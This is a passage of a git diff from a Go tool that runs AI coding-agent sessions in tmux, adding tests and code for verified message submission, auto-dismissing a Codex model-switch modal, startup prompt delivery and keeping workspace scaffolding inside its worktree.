+	if names, err := p.ListRunning("smo"); err != nil || len(names) != 1 || names[0] != "smoke" {
+		t.Errorf("ListRunning(smo) = %v, %v; want [smoke]", names, err)
+	}
+
+	// Peek the current screen ("visible") — wait for output to render.
+	var got string
+	for i := 0; i < 20; i++ {
+		time.Sleep(300 * time.Millisecond)
+		got, _ = p.Peek("smoke", 10)
+		if strings.Contains(got, "tick") {
+			break
+		}
+	}
+	if !strings.Contains(got, "tick") {
+		t.Errorf("Peek did not capture screen output; got %q", got)
+	}
+
+	// ProcessAlive: nil → true; matching name → true; bogus → false.
+	if !p.ProcessAlive("smoke", nil) {
+		t.Error("ProcessAlive(nil) = false")
+	}
+	if !p.ProcessAlive("smoke", []string{"sleep", "sh", "bash"}) {
+		t.Error("ProcessAlive([sleep/sh/bash]) = false")
+	}
+	if p.ProcessAlive("smoke", []string{"definitely-not-a-real-process"}) {
+		t.Error("ProcessAlive([bogus]) = true")
+	}
+
+	// Metadata sidecar roundtrip.
+	if err := p.SetMeta("smoke", "drain", "1"); err != nil {
+		t.Fatalf("SetMeta: %v", err)
+	}
+	if v, err := p.GetMeta("smoke", "drain"); err != nil || v != "1" {
+		t.Errorf("GetMeta(drain) = %q, %v; want 1", v, err)
+	}
+	if v, err := p.GetMeta("smoke", "absent"); err != nil || v != "" {
+		t.Errorf("GetMeta(absent) = %q, %v; want empty,nil", v, err)
+	}
+
+	// Stop → no longer running.
+	if err := p.Stop("smoke"); err != nil {
+		t.Fatalf("Stop: %v", err)
+	}
+	for i := 0; i < 10 && p.IsRunning("smoke"); i++ {
+		time.Sleep(200 * time.Millisecond)
+	}
+	if p.IsRunning("smoke") {
+		t.Error("IsRunning = true after Stop")
+	}
+}
diff --git a/internal/runtime/herdr/startup_delivery_test.go b/internal/runtime/herdr/startup_delivery_test.go
new file mode 100644
index 0000000000..2422236c7f
--- /dev/null
+++ b/internal/runtime/herdr/startup_delivery_test.go
@@ -0,0 +1,53 @@
+package herdr
+
+import (
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/runtime"
+	"github.com/gastownhall/gascity/internal/shellquote"
+)
+
+// TestStartupDeliveryText pins the first-turn delivery decision that keeps named
+// always-awake Claude sessions from booting unprimed under herdr: their prime
+// rides cfg.PromptSuffix (PromptMode=arg) which herdr's exec launch has no slot
+// for, so Start must recover it from PromptSuffix and deliver it. The pool/sling
+// claim path (cfg.Nudge) must stay byte-for-byte unchanged.
+func TestStartupDeliveryText(t *testing.T) {
+	// A real prime is multiline with blank-line separators; exercise the
+	// Quote→Split→parts[0] round-trip on exactly that shape.
+	prime := "# Deacon Context\n\n> Recovery: Run `gc prime`\n\nYou are the heartbeat. Run."
+
+	tests := []struct {
+		name string
+		cfg  runtime.Config
+		want string
+	}{
+		{
+			name: "named session: prime rides PromptSuffix (the regression)",
+			cfg:  runtime.Config{PromptSuffix: shellquote.Quote(prime)},
+			want: prime,
+		},
+		{
+			name: "pool slot: claim nudge delivered unchanged",
+			cfg:  runtime.Config{Nudge: "Run gc hook --claim --json now; execute the claimed formula."},
+			want: "Run gc hook --claim --json now; execute the claimed formula.",
+		},
+		{
+			name: "nudge precedence when both set keeps pool path unchanged",
+			cfg:  runtime.Config{Nudge: "claim now", PromptSuffix: shellquote.Quote(prime)},
+			want: "claim now",
+		},
+		{
+			name: "nothing to deliver (deterministic worker / suppressed prompt)",
+			cfg:  runtime.Config{},
+			want: "",
+		},
+	}
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			if got := startupDeliveryText(tt.cfg); got != tt.want {
+				t.Errorf("startupDeliveryText() = %q, want %q", got, tt.want)
+			}
+		})
+	}
+}
diff --git a/internal/runtime/herdr/testenv_import_test.go b/internal/runtime/herdr/testenv_import_test.go
new file mode 100644
index 0000000000..e371f5ab00
--- /dev/null
+++ b/internal/runtime/herdr/testenv_import_test.go
@@ -0,0 +1,5 @@
+// Code generated by go run scripts/add-testenv-import.go; DO NOT EDIT.
+
+package herdr
+
+import _ "github.com/gastownhall/gascity/internal/testenv"
diff --git a/internal/runtime/k8s/beads_script_test.go b/internal/runtime/k8s/beads_script_test.go
index b994e460c1..83114445bd 100644
--- a/internal/runtime/k8s/beads_script_test.go
+++ b/internal/runtime/k8s/beads_script_test.go
@@ -169,6 +169,28 @@ func TestBeadsScriptListUsesScopedWorkdir(t *testing.T) {
 	assertCallContains(t, result.callLog, `git config --global beads.role`)
 }
 
+func TestBeadsScriptCloseForcesCrossActorClose(t *testing.T) {
+	result := runBeadsScript(t, beadsScriptOptions{
+		Op:       "close",
+		Args:     []string{"ga-orphan"},
+		PodPhase: "Running",
+		Env: map[string]string{
+			"GC_CITY_PATH":  "/city",
+			"GC_STORE_ROOT": "/city/frontend",
+		},
+	})
+	if result.err != nil {
+		t.Fatalf("gc-beads-k8s close error = %v\noutput:\n%s", result.err, result.output)
+	}
+	// This wrapper's close is an exec Store.Close delegate: it runs under the
+	// pod/controller actor against agent-owned beads, so it must force-close to
+	// clear bd's cross-actor guard (gastownhall/beads#3734). Pin the full argv so
+	// a regression dropping --force (which would leak at the BD_VERSION bump) or
+	// reordering the id past --force (the constraint exec.go's Close comment
+	// documents) is caught here rather than in a live k8s deploy.
+	assertCallContains(t, result.callLog, "close --force --json ga-orphan")
+}
+
 func TestBeadsScriptListDoesNotRewriteIssuePrefixPerCommand(t *testing.T) {
 	result := runBeadsScript(t, beadsScriptOptions{
 		Op: "list",
diff --git a/internal/runtime/tmux/adapter.go b/internal/runtime/tmux/adapter.go
index 52e7d3bf60..8c4dd87523 100644
--- a/internal/runtime/tmux/adapter.go
+++ b/internal/runtime/tmux/adapter.go
@@ -504,7 +504,14 @@ func (p *Provider) Nudge(name string, content []runtime.ContentBlock) error {
 		// Best-effort wait — if it fails (session gone, timeout), proceed
 		// with the nudge anyway. The message may arrive during active work,
 		// but Claude's cooperative queue will handle it at the next turn.
-		_ = p.tm.WaitForIdle(context.Background(), name, idleTimeout)
+		if err := p.tm.WaitForIdle(context.Background(), name, idleTimeout); err != nil {
+			// Not idle within the window. A mid-session Codex/GPT model-switch
+			// modal ("approaching rate limits — switch model?") blocks input and
+			// would otherwise hang the session; dismiss it (keep current model,
+			// no downgrade) so the nudge can land. No-op if the modal is absent,
+			// so this never disturbs a genuinely busy pane.
+			p.tm.DismissModelSwitchModalIfPresent(name)
+		}
 	}
 	return p.NudgeNow(name, content)
 }
diff --git a/internal/runtime/tmux/dialog_model_switch_integration_test.go b/internal/runtime/tmux/dialog_model_switch_integration_test.go
new file mode 100644
index 0000000000..4db642b90e
--- /dev/null
+++ b/internal/runtime/tmux/dialog_model_switch_integration_test.go
@@ -0,0 +1,93 @@
+//go:build integration
+
+package tmux
+
+import (
+	"fmt"
+	"os"
+	"os/exec"
+	"strings"
+	"testing"
+	"time"
+)
+
+// buildModelSwitchModalAgent compiles a fake agent that prints the Codex/GPT
+// "approaching rate limits — switch model?" modal, then treats the next Enter as
+// confirming "Keep current model" by printing a MODEL_KEPT marker. It stays
+// alive so the tmux pane persists for capture.
+func buildModelSwitchModalAgent(t *testing.T, dir, name string) string {
+	t.Helper()
+	bin := dir + "/" + name
+	src := dir + "/" + name + ".go"
+	prog := `package main
+import ("bufio";"fmt";"os")
+func main(){
+	fmt.Println("Approaching rate limits")
+	fmt.Println("Switch to gpt-5.4-mini for lower credit usage?")
+	fmt.Println("  1. Switch to gpt-5.4-mini")
+	fmt.Println("  2. Keep current model")
+	fmt.Println("  3. Keep current model (never show again)")
+	fmt.Println("Press enter to confirm or esc to go back")
+	r:=bufio.NewReader(os.Stdin)
+	for{
+		b,err:=r.ReadByte()
+		if err!=nil{ return }
+		if b=='\r'||b=='\n'{
+			fmt.Println("MODEL_KEPT modal dismissed keeping current model")
+			continue
+		}
+	}
+}
+`
+	if err := os.WriteFile(src, []byte(prog), 0o644); err != nil {
+		t.Fatalf("WriteFile(%s): %v", src, err)
+	}
+	build := exec.Command("go", "build", "-o", bin, src)
+	build.Dir = dir
+	if out, err := build.CombinedOutput(); err != nil {
+		t.Fatalf("go build %s: %v\n%s", name, err, string(out))
+	}
+	return bin
+}
+
+// TestDismissModelSwitchModalIfPresentClearsModalOnRealTmux proves ga-3syh's fix
+// end-to-end on real tmux: a session showing the mid-session model-switch modal
+// is dismissed to "Keep current model" (Down+Enter) so it stops hanging.
+func TestDismissModelSwitchModalIfPresentClearsModalOnRealTmux(t *testing.T) {
+	if !hasTmux() {
+		t.Skip("tmux not installed")
+	}
+	tm := testTmux()
+	dir := t.TempDir()
+	fake := buildModelSwitchModalAgent(t, dir, "fakecodex")
+	sessionName := fmt.Sprintf("gt-test-modal-%d", time.Now().UnixNano()%100000)
+
+	_ = tm.KillSession(sessionName)
+	if err := tm.NewSessionWithCommandAndEnv(sessionName, dir, fake, map[string]string{
+		"GC_PROVIDER": "codex",
+	}); err != nil {
+		t.Fatalf("NewSessionWithCommandAndEnv: %v", err)
+	}
+	defer func() { _ = tm.KillSession(sessionName) }()
+	time.Sleep(500 * time.Millisecond)
+
+	// Precondition: the pane shows the model-switch modal.
+	pre, err := tm.CapturePaneAll(sessionName)
+	if err != nil {
+		t.Fatalf("CapturePaneAll: %v", err)
+	}
+	if !strings.Contains(pre, "Keep current model") || !strings.Contains(pre, "Switch to ") {
+		t.Fatalf("precondition: model-switch modal not shown:\n%s", pre)
+	}
+
+	tm.DismissModelSwitchModalIfPresent(sessionName)
+	time.Sleep(500 * time.Millisecond)
+
+	post, err := tm.CapturePaneAll(sessionName)
+	if err != nil {
+		t.Fatalf("CapturePaneAll: %v", err)
+	}
+	if !strings.Contains(post, "MODEL_KEPT") {
+		t.Fatalf("modal was not dismissed (no MODEL_KEPT after DismissModelSwitchModalIfPresent):\n%s", post)
+	}
+}
diff --git a/internal/runtime/tmux/dialog_model_switch_test.go b/internal/runtime/tmux/dialog_model_switch_test.go
new file mode 100644
index 0000000000..271b84e5cd
--- /dev/null
+++ b/internal/runtime/tmux/dialog_model_switch_test.go
@@ -0,0 +1,50 @@
+package tmux
+
+import (
+	"testing"
+	"time"
+)
+
+// TestDismissModelSwitchModal proves that when the pane shows the Codex/GPT
+// model-switch modal, the dismisser selects "Keep current model" (Down off the
+// default "Switch" option, then Enter) — keeping the model with no downgrade.
+func TestDismissModelSwitchModal(t *testing.T) {
+	modal := "Approaching rate limits\n" +
+		"Switch to gpt-5.4-mini for lower credit usage?\n" +
+		"  2. Keep current model\n" +
+		"Press enter to confirm or esc to go back"
+	var keys []string
+	sendKeys := func(k ...string) error { keys = append(keys, k...); return nil }
+
+	dismissed, err := dismissModelSwitchModal(modal, sendKeys, func(time.Duration) {})
+	if err != nil {
+		t.Fatalf("err = %v, want nil", err)
+	}
+	if !dismissed {
+		t.Fatal("dismissed = false, want true for the model-switch modal")
+	}
+	if len(keys) != 2 || keys[0] != "Down" || keys[1] != "Enter" {
+		t.Fatalf("keys = %v, want [Down Enter] (select Keep-current-model, then confirm)", keys)
+	}
+}
+
+// TestDismissModelSwitchModalNoOpOnWorkingPane proves the dismisser never sends
+// keystrokes into an ordinary working pane, even one whose output mentions rate
+// limits — the safety property that lets it run mid-session.
+func TestDismissModelSwitchModalNoOpOnWorkingPane(t *testing.T) {
+	content := "Working (3s • esc to interrupt)\n" +
+		"> I'm adding backoff because we're near the rate limit; keeping the current model."
+	var keys []string
+	sendKeys := func(k ...string) error { keys = append(keys, k...); return nil }
+
+	dismissed, err := dismissModelSwitchModal(content, sendKeys, func(time.Duration) {})
+	if err != nil {
+		t.Fatalf("err = %v, want nil", err)
+	}
+	if dismissed {
+		t.Fatal("dismissed = true, want false on a non-modal working pane")
+	}
+	if len(keys) != 0 {
+		t.Fatalf("keys = %v, want none (must not type into a working pane)", keys)
+	}
+}
diff --git a/internal/runtime/tmux/nudge_submit_confirm_integration_test.go b/internal/runtime/tmux/nudge_submit_confirm_integration_test.go
new file mode 100644
index 0000000000..92bf3ee330
--- /dev/null
+++ b/internal/runtime/tmux/nudge_submit_confirm_integration_test.go
@@ -0,0 +1,129 @@
+//go:build integration
+
+package tmux
+
+import (
+	"fmt"
+	"os"
+	"os/exec"
+	"strings"
+	"testing"
+	"time"
+)
+
+// buildBusyOnEnterBinary compiles a fake agent TUI that echoes stdin and, after
+// receiving GC_TEST_BUSY_AFTER Enter keystrokes (default 1), prints an
+// "esc to interrupt" busy footer — the same signal paneContainsBusyIndicator
+// uses to detect a live Claude turn. Each Enter also prints an "ENTER#<n>"
+// marker so a test can assert exactly how many submit keystrokes were delivered.
+func buildBusyOnEnterBinary(t *testing.T, dir, name string) string {
+	t.Helper()
+	bin := dir + "/" + name
+	src := dir + "/" + name + ".go"
+	prog := `package main
+import ("bufio";"fmt";"os";"strconv")
+func main(){
+	busyAfter:=1
+	if v:=os.Getenv("GC_TEST_BUSY_AFTER"); v!=""{ if n,err:=strconv.Atoi(v); err==nil && n>0 { busyAfter=n } }
+	enters:=0
+	r:=bufio.NewReader(os.Stdin)
+	for{
+		b,err:=r.ReadByte()
+		if err!=nil{ return }
+		if b=='\r'||b=='\n'{
+			enters++
+			fmt.Printf("\nENTER#%d\n", enters)
+			if enters>=busyAfter { fmt.Print("esc to interrupt\n") }
+			continue
+		}
+		_,_=os.Stdout.Write([]byte{b})
+	}
+}
+`
+	if err := os.WriteFile(src, []byte(prog), 0o644); err != nil {
+		t.Fatalf("WriteFile(%s): %v", src, err)
+	}
+	build := exec.Command("go", "build", "-o", bin, src)
+	build.Dir = dir
+	if out, err := build.CombinedOutput(); err != nil {
+		t.Fatalf("go build %s: %v\n%s", name, err, string(out))
+	}
+	return bin
+}
+
+// TestNudgeSessionConfirmsSubmitForClaude proves the verified-submit path
+// against real tmux: a single Enter that submits drives the fake agent busy,
+// NudgeSession confirms it, and does NOT issue a redundant second Enter.
+func TestNudgeSessionConfirmsSubmitForClaude(t *testing.T) {
+	if !hasTmux() {
+		t.Skip("tmux not installed")
+	}
+	tm := testTmux()
+	dir := t.TempDir()
+	fake := buildBusyOnEnterBinary(t, dir, "fakeclaude")
+	sessionName := fmt.Sprintf("gt-test-nudge-confirm-%d", time.Now().UnixNano()%100000)
+
+	_ = tm.KillSession(sessionName)
+	if err := tm.NewSessionWithCommandAndEnv(sessionName, dir, fake, map[string]string{
+		"GC_PROVIDER":        "claude",
+		"GC_TEST_BUSY_AFTER": "1",
+	}); err != nil {
+		t.Fatalf("NewSessionWithCommandAndEnv: %v", err)
+	}
+	defer func() { _ = tm.KillSession(sessionName) }()
+	time.Sleep(300 * time.Millisecond)
+
+	if err := tm.NudgeSession(sessionName, "hello-confirm"); err != nil {
+		t.Fatalf("NudgeSession: %v", err)
+	}
+
+	out, err := tm.CapturePaneAll(sessionName)
+	if err != nil {
+		t.Fatalf("CapturePaneAll: %v", err)
+	}
+	if !strings.Contains(out, "esc to interrupt") {
+		t.Fatalf("pane never reached submitted/busy state:\n%s", out)
+	}
+	if strings.Contains(out, "ENTER#2") {
+		t.Fatalf("issued a redundant Enter after the turn already submitted (double-submit):\n%s", out)
+	}
+}
+
+// TestNudgeSessionReEntersUntilSubmittedForClaude proves the ga-bwm fix
+// end-to-end on real tmux: when the first Enter is dropped (the draft stays in
+// the input box), NudgeSession re-sends Enter, and the second submit drives the
+// agent busy. Pre-fix, the message would sit "drafted but not submitted".
+func TestNudgeSessionReEntersUntilSubmittedForClaude(t *testing.T) {
+	if !hasTmux() {
+		t.Skip("tmux not installed")
+	}
+	tm := testTmux()
+	dir := t.TempDir()
+	fake := buildBusyOnEnterBinary(t, dir, "fakeclaude")
+	sessionName := fmt.Sprintf("gt-test-nudge-reenter-%d", time.Now().UnixNano()%100000)
+
+	_ = tm.KillSession(sessionName)
+	if err := tm.NewSessionWithCommandAndEnv(sessionName, dir, fake, map[string]string{
+		"GC_PROVIDER":        "claude",
+		"GC_TEST_BUSY_AFTER": "2", // drop the first Enter, submit on the second
+	}); err != nil {
+		t.Fatalf("NewSessionWithCommandAndEnv: %v", err)
+	}
+	defer func() { _ = tm.KillSession(sessionName) }()
+	time.Sleep(300 * time.Millisecond)
+
+	if err := tm.NudgeSession(sessionName, "hello-reenter"); err != nil {
+		t.Fatalf("NudgeSession: %v", err)
+	}
+
+	out, err := tm.CapturePaneAll(sessionName)
+	if err != nil {
+		t.Fatalf("CapturePaneAll: %v", err)
+	}
+	if !strings.Contains(out, "ENTER#2") {
+		t.Fatalf("did not re-send Enter after the first was dropped:\n%s", out)
+	}
+	if !strings.Contains(out, "esc to interrupt") {
+		t.Fatalf("never reached submitted/busy state after re-send:\n%s", out)
+	}
+}
diff --git a/internal/runtime/tmux/nudge_submit_confirm_test.go b/internal/runtime/tmux/nudge_submit_confirm_test.go
new file mode 100644
index 0000000000..292bfaa7ae
--- /dev/null
+++ b/internal/runtime/tmux/nudge_submit_confirm_test.go
@@ -0,0 +1,143 @@
+package tmux
+
+import (
+	"errors"
+	"testing"
+	"time"
+)
+
+// noSleep is a sleep stub so the confirm loop runs instantly under test.
+func noSleep(time.Duration) {}
+
+// TestSubmitEnterAndConfirmReEntersWhileIdle proves the ga-bwm fix: when the
+// first Enter is lost (the pane stays idle with the message still drafted), the
+// loop re-sends Enter, and the send that lands drives the agent busy.
+func TestSubmitEnterAndConfirmReEntersWhileIdle(t *testing.T) {
+	var enters int
+	// Busy only becomes true once a second Enter has been sent, i.e. the first
+	// Enter raced the paste and was dropped.
+	busy := func() (bool, error) { return enters >= 2, nil }
+	sendEnter := func() error { enters++; return nil }
+
+	confirmed, err := submitEnterAndConfirm(sendEnter, func() {}, busy, noSleep)
+	if err != nil {
+		t.Fatalf("err = %v, want nil", err)
+	}
+	if !confirmed {
+		t.Fatal("confirmed = false, want true (re-sent Enter should submit)")
+	}
+	if enters != 2 {
+		t.Fatalf("enters = %d, want 2 (initial + one re-send)", enters)
+	}
+}
+
+// TestSubmitEnterAndConfirmStopsWhenBusy proves the common case: a single Enter
+// that submits is confirmed on the first poll with no wasted re-send.
+func TestSubmitEnterAndConfirmStopsWhenBusy(t *testing.T) {
+	var enters int
+	busy := func() (bool, error) { return enters >= 1, nil }
+	sendEnter := func() error { enters++; return nil }
+
+	confirmed, err := submitEnterAndConfirm(sendEnter, func() {}, busy, noSleep)
+	if err != nil {
+		t.Fatalf("err = %v, want nil", err)
+	}
+	if !confirmed {
+		t.Fatal("confirmed = false, want true")
+	}
+	if enters != 1 {
+		t.Fatalf("enters = %d, want 1 (no re-send once submitted)", enters)
+	}
+}
+
+// TestSubmitEnterAndConfirmNoDoubleSubmitOnFastTurn proves the safety property:
+// if a turn goes busy after the first send's polls but before a re-send, the
+// pre-re-send busy check catches it and no second Enter is issued.
+func TestSubmitEnterAndConfirmNoDoubleSubmitOnFastTurn(t *testing.T) {
+	var enters int
+	var busyCalls int
+	busy := func() (bool, error) {
+		busyCalls++
+		// Idle for the first send's polls; busy at the pre-re-send check.
+		return busyCalls > submitConfirmPollsPerSend, nil
+	}
+	sendEnter := func() error { enters++; return nil }
+
+	confirmed, err := submitEnterAndConfirm(sendEnter, func() {}, busy, noSleep)
+	if err != nil {
+		t.Fatalf("err = %v, want nil", err)
+	}
+	if !confirmed {
+		t.Fatal("confirmed = false, want true")
+	}
+	if enters != 1 {
+		t.Fatalf("enters = %d, want 1 (pre-re-send busy check must prevent double-submit)", enters)
+	}
+}
+
+// TestSubmitEnterAndConfirmBestEffortWhenNeverBusy proves that a pane which
+// never reports busy is delivered best-effort (bounded re-sends, no error) so
+// the caller's contract (nil == delivered to tmux) is preserved.
+func TestSubmitEnterAndConfirmBestEffortWhenNeverBusy(t *testing.T) {
+	var enters int
+	busy := func() (bool, error) { return false, nil }
+	sendEnter := func() error { enters++; return nil }
+
+	confirmed, err := submitEnterAndConfirm(sendEnter, func() {}, busy, noSleep)
+	if err != nil {
+		t.Fatalf("err = %v, want nil", err)
+	}
+	if confirmed {
+		t.Fatal("confirmed = true, want false")
+	}
+	if enters != submitEnterMaxSends {
+		t.Fatalf("enters = %d, want %d (bounded best-effort sends)", enters, submitEnterMaxSends)
+	}
+}
+
+// TestSubmitEnterAndConfirmClearsStaleSendError proves a transient first-send
+// failure followed by a successful send (busy never observed) is reported as
+// best-effort delivery (false, nil), not a stale error — matching the
+// historical "nil == handed to tmux" contract.
+func TestSubmitEnterAndConfirmClearsStaleSendError(t *testing.T) {
+	var enters int
+	sendEnter := func() error {
+		enters++
+		if enters == 1 {
+			return errors.New("transient: no server yet")
+		}
+		return nil
+	}
+	busy := func() (bool, error) { return false, nil }
+
+	confirmed, err := submitEnterAndConfirm(sendEnter, func() {}, busy, noSleep)
+	if err != nil {
+		t.Fatalf("err = %v, want nil (later send succeeded)", err)
+	}
+	if confirmed {
+		t.Fatal("confirmed = true, want false (never busy)")
+	}
+	if enters != submitEnterMaxSends {
+		t.Fatalf("enters = %d, want %d", enters, submitEnterMaxSends)
+	}
+}
+
+// TestSubmitEnterAndConfirmReturnsSendError proves a genuine tmux-layer send
+// failure (session gone) is surfaced, matching the pre-fix contract.
+func TestSubmitEnterAndConfirmReturnsSendError(t *testing.T) {
+	sendErr := errors.New("no server")
+	var enters int
+	sendEnter := func() error { enters++; return sendErr }
+	busy := func() (bool, error) { return false, nil }
+
+	confirmed, err := submitEnterAndConfirm(sendEnter, func() {}, busy, noSleep)
+	if confirmed {
+		t.Fatal("confirmed = true, want false")
+	}
+	if !errors.Is(err, sendErr) {
+		t.Fatalf("err = %v, want sendErr chain", err)
+	}
+	if enters != submitEnterMaxSends {
+		t.Fatalf("enters = %d, want %d", enters, submitEnterMaxSends)
+	}
+}
diff --git a/internal/runtime/tmux/staging_test.go b/internal/runtime/tmux/staging_test.go
index e7bdf4f5fb..d8be31caca 100644
--- a/internal/runtime/tmux/staging_test.go
+++ b/internal/runtime/tmux/staging_test.go
@@ -48,3 +48,59 @@ func TestStageStartFilesSurfacesKiroPreservationWarning(t *testing.T) {
 		t.Fatalf("AGENTS.md = %q, want project instructions preserved", string(data))
 	}
 }
+
+func TestStageStartFilesKeepsScaffoldOutOfSpawnerCWD(t *testing.T) {
+	root := t.TempDir()
+	sharedWorktree := filepath.Join(root, "shared-builder")
+	beadSlug := "ga-ajw1no-1-as-a-maintainer-i-can-reproduce-stray-session-scaffold-leakage"
+	leakedWorkDir := filepath.Join(sharedWorktree, beadSlug)
+	workDir := filepath.Join(root, "city", ".gc", "worktrees", "gascity", "builder", beadSlug)
+	packOverlay := filepath.Join(root, "city", "packs", "core", "overlay")
+
+	writeTmuxScaffoldFixture(t, filepath.Join(packOverlay, ".claude", "skills", "triage", "SKILL.md"), "---\nname: triage\n---\n")
+	writeTmuxScaffoldFixture(t, filepath.Join(packOverlay, ".codex", "hooks.json"), `{"hooks":{"SessionStart":[]}}`+"\n")
+	writeTmuxScaffoldFixture(t, filepath.Join(packOverlay, ".gc", "settings.json"), "{}\n")
+	if err := os.MkdirAll(workDir, 0o755); err != nil {
+		t.Fatalf("MkdirAll(%q): %v", workDir, err)
+	}
+	if err := os.MkdirAll(sharedWorktree, 0o755); err != nil {
+		t.Fatalf("MkdirAll(%q): %v", sharedWorktree, err)
+	}
+	t.Chdir(sharedWorktree)
+
+	var warnings bytes.Buffer
+	err := stageStartFiles(runtime.Config{
+		WorkDir:             workDir,
+		ProviderName:        "codex",
+		ProviderOverlayName: "codex",
+		PackOverlayDirs:     []string{packOverlay},
+	}, &warnings)
+	if err != nil {
+		t.Fatalf("stageStartFiles: %v", err)
+	}
+
+	for _, rel := range []string{
+		filepath.Join(".claude", "skills", "triage", "SKILL.md"),
+		filepath.Join(".codex", "hooks.json"),
+		filepath.Join(".gc", "settings.json"),
+	} {
+		if _, err := os.Stat(filepath.Join(workDir, rel)); err != nil {
+			t.Errorf("target scaffold %s missing under workdir %q: %v", rel, workDir, err)
+		}
+	}
+	if _, err := os.Stat(leakedWorkDir); err == nil {
+		t.Fatalf("shared cwd contains stray bead-slug scaffold directory %q; scaffold must stay under %q", leakedWorkDir, workDir)
+	} else if !os.IsNotExist(err) {
+		t.Fatalf("stat leaked workdir %q: %v", leakedWorkDir, err)
+	}
+}
+
+func writeTmuxScaffoldFixture(t *testing.T, path, content string) {
+	t.Helper()
+	if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
+		t.Fatalf("MkdirAll(%q): %v", filepath.Dir(path), err)
+	}
+	if err := os.WriteFile(path, []byte(content), 0o644); err != nil {
+		t.Fatalf("WriteFile(%q): %v", path, err)
+	}
+}
diff --git a/internal/runtime/tmux/tmux.go b/internal/runtime/tmux/tmux.go
index 5c8584f0cb..1eb5a2edb3 100644
--- a/internal/runtime/tmux/tmux.go
+++ b/internal/runtime/tmux/tmux.go
@@ -1675,6 +1675,81 @@ func (t *Tmux) sendKeysLiteralWithRetry(target, text string, timeout time.Durati
 	return fmt.Errorf("agent not ready for input after %s: %w", timeout, lastErr)
 }
 
+// Verified-submit tuning. After the message is pasted, the submit Enter can be
+// dropped when it races an unfinished bracketed paste or a detached-pane wake,
+// leaving the text drafted but never submitted (ga-bwm). For providers with a
+// reliable "busy" indicator we confirm the submit landed and re-send Enter only
+// while the pane is still idle — an already-submitted turn (busy) is never
+// re-entered, so this cannot double-submit.
+const (
+	submitEnterMaxSends       = 3
+	submitConfirmPollsPerSend = 4
+	submitConfirmPollInterval = 150 * time.Millisecond
+	submitReEnterBackoff      = 200 * time.Millisecond
+)
+
+// submitEnterAndConfirm sends Enter and confirms the message submitted by
+// observing the agent transition to its busy/processing state. It re-sends
+// Enter only while the pane remains idle (submission not yet observed), so a
+// turn that already started can never receive a second Enter.
+//
+// Returns:
+//   - (true, nil)  — the agent went busy: the message submitted.
+//   - (false, nil) — Enter was delivered to tmux but busy was never observed
+//     within the budget (best-effort; preserves the historical "nil == handed
+//     to tmux" contract so callers do not re-paste).
+//   - (false, err) — every Enter send failed at the tmux layer.
+//
+// All side effects are injected so the decision logic is unit-testable without
+// a live tmux server.
+func submitEnterAndConfirm(sendEnter func() error, wake func(), busy func() (bool, error), sleep func(time.Duration)) (bool, error) {
+	var lastErr error
+	for send := 0; send < submitEnterMaxSends; send++ {
+		if send > 0 {
+			// Re-confirm the pane is still idle before re-sending. A turn that
+			// already submitted (busy) must never receive a second Enter.
+			if isBusy, err := busy(); err == nil && isBusy {
+				return true, nil
+			}
+			sleep(submitReEnterBackoff)
+		}
+		if err := sendEnter(); err != nil {
+			lastErr = err
+			continue
+		}
+		lastErr = nil // a later send succeeded; don't surface an earlier transient failure
+		wake()
+		for poll := 0; poll < submitConfirmPollsPerSend; poll++ {
+			if isBusy, err := busy(); err == nil && isBusy {
+				return true, nil
+			}
+			sleep(submitConfirmPollInterval)
+		}
+	}
+	return false, lastErr
+}
+
+// paneBusy reports whether the target pane shows an active processing indicator
+// (Claude's live spinner / "esc to interrupt"). Used to confirm a submitted turn.
+func (t *Tmux) paneBusy(target string) (bool, error) {
+	lines, err := t.CapturePaneLines(target, promptObservationLines)
+	if err != nil {
+		return false, err
+	}
+	return paneContainsBusyIndicator(lines), nil
+}
+
+// submitVerifyEligible reports whether the target runs a provider whose busy
+// indicator is reliable enough to confirm a submit. Scoped to the Claude family
+// (the confirmed ga-bwm failure); other providers keep best-effort single
+// delivery so this change cannot regress them.
+func (t *Tmux) submitVerifyEligible(target string) bool {
+	if provider := t.providerEnv(target); provider != "" {
+		return sessionlog.ProviderFamily(provider) == "claude"
+	}
+	return t.targetLooksLikeProvider(target, "claude")
+}
+
 // NudgeSession sends a message to a Claude Code session reliably.
 // This is the canonical way to send messages to Claude sessions.
 // Uses: literal mode + 500ms debounce + separate Enter.
@@ -1734,21 +1809,35 @@ func (t *Tmux) NudgeSession(session, message string) error {
 	// detached but drop the submit key until a terminal resize wakes their loop.
 	t.WakePaneIfDetached(session)
 
-	// 5. Send Enter with retry (critical for message submission)
+	// 5. Send Enter and, for providers with a reliable busy indicator, confirm
+	// the draft actually submitted — re-sending Enter only while the pane stays
+	// idle. A lost submit Enter (raced against the paste or a detached-pane
+	// wake) is the ga-bwm "drafted but not submitted" stall; confirming here
+	// removes the town's dependence on an external observer re-kicking the
+	// session. Providers without a reliable indicator keep best-effort delivery.
+	sendEnter := func() error { _, err := t.run("send-keys", "-t", target, "Enter"); return err }
+	wake := func() { t.WakePaneIfDetached(session) }
+	if t.submitVerifyEligible(target) {
+		if _, err := submitEnterAndConfirm(sendEnter, wake, func() (bool, error) { return t.paneBusy(target) }, time.Sleep); err != nil {
+			return fmt.Errorf("failed to send Enter: %w", err)
+		}
+		return nil
+	}
+	// Fallback: best-effort single delivery (unchanged historical behavior).
 	var lastErr error
-	for attempt := 0; attempt < 3; attempt++ {
+	for attempt := 0; attempt < submitEnterMaxSends; attempt++ {
 		if attempt > 0 {
-			time.Sleep(200 * time.Millisecond)
+			time.Sleep(submitReEnterBackoff)
 		}
-		if _, err := t.run("send-keys", "-t", target, "Enter"); err != nil {
+		if err := sendEnter(); err != nil {
 			lastErr = err
 			continue
 		}
 		// 6. Wake again so the submitted turn is processed promptly.
-		t.WakePaneIfDetached(session)
+		wake()
 		return nil
 	}
-	return fmt.Errorf("failed to send Enter after 3 attempts: %w", lastErr)
+	return fmt.Errorf("failed to send Enter after %d attempts: %w", submitEnterMaxSends, lastErr)
 }
 
 // NudgePane sends a message to a specific pane reliably.
@@ -1872,6 +1961,55 @@ func (t *Tmux) DismissKnownDialogs(ctx context.Context, sess string, timeout tim
 	)
 }
 
+// modelSwitchDismissConfirmDelay lets the model-switch modal register the
+// selection move before the confirm keypress, so Enter does not race the Down.
+const modelSwitchDismissConfirmDelay = 150 * time.Millisecond
+
+// dismissModelSwitchModal dismisses the Codex/GPT mid-session "approaching rate
+// limits — switch to a cheaper model?" modal by selecting "Keep current model"
